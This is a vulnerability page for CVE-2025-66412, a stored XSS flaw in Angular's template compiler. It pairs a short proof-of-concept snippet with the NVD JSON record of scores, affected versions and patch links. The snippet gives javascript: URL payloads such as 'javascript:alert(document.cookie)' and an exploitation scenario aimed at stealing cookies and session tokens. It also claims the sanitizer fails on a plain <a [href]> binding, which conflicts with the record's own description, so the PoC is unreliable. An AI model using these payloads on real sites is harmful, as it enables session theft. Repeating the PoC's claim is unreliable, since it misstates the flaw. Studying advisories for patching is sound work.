CVE-2025-66412

<!-- Angular Template Compiler Stored XSS PoC --> <!-- This PoC demonstrates the bypass of Angular's security sanitization --> <!-- Affected attributes that could contain javascript: URLs --> <!-- Example 1: Using a malicious URL in template binding --> <element [attr.someAttribute]="userControlledValue"> <!-- Example 2: Malicious template injection --> <!-- If userControlledValue contains: javascript:alert(document.cookie) --> <!-- The browser will execute the JavaScript code --> <!-- Angular Component Example --> @Component({ selector: 'app-vulnerable', template: ` <!-- Unsafe attribute binding --> <a [href]="userInput">Click Here</a> <!-- If userInput = 'javascript:alert("XSS")' --> <!-- Angular's sanitizer fails to block this --> ` }) export class VulnerableComponent { // User-controlled input that could contain malicious URLs userInput: string = ''; } <!-- Exploitation Scenario --> <!-- 1. Attacker injects: javascript:alert(document.domain) --> <!-- 2. Stored in database or user profile --> <!-- 3. When victim views page, script executes --> <!-- 4. Attacker steals cookies, session tokens, etc. -->

{"cve": {"id": "CVE-2025-66412", "sourceIdentifier": "[email protected]", "published": "2025-12-01T23:15:53.890", "lastModified": "2026-02-20T16:37:23.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 21.0.2, 20.3.15, and 19.2.17, A Stored Cross-Site Scripting (XSS) vulnerability has been identified in the Angular Template Compiler. It occurs because the compiler's internal security schema is incomplete, allowing attackers to bypass Angular's built-in security sanitization. Specifically, the schema fails to classify certain URL-holding attributes (e.g., those that could contain javascript: URLs) as requiring strict URL security, enabling the injection of malicious scripts. This vulnerability is fixed in 21.0.2, 20.3.15, and 19.2.17."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "18.2.14", "matchCriteriaId": "B0857B9D-DDD4-42CC-B026-AF3B4081BD14"}, {"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "19.0.0", "versionEndExcluding": "19.2.17", "matchCriteriaId": "510711AC-A2E0-42FA-9A67-B77FC0C7FE2A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "20.0.0", "versionEndExcluding": "20.3.15", "matchCriteriaId": "ADEEF44B-4624-444D-867A-D75B192FC413"}, {"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "21.0.0", "versionEndExcluding": "21.0.2", "matchCriteriaId": "4D7E1957-7450-48AA-8EEB-62D60EE9DABE"}]}]}], "references": [{"url": "https://github.com/angular/angular/commit/1c6b0704fb63d051fab8acff84d076abfbc4893a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/angular/angular/security/advisories/GHSA-v4hv-rgfq-gp49", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}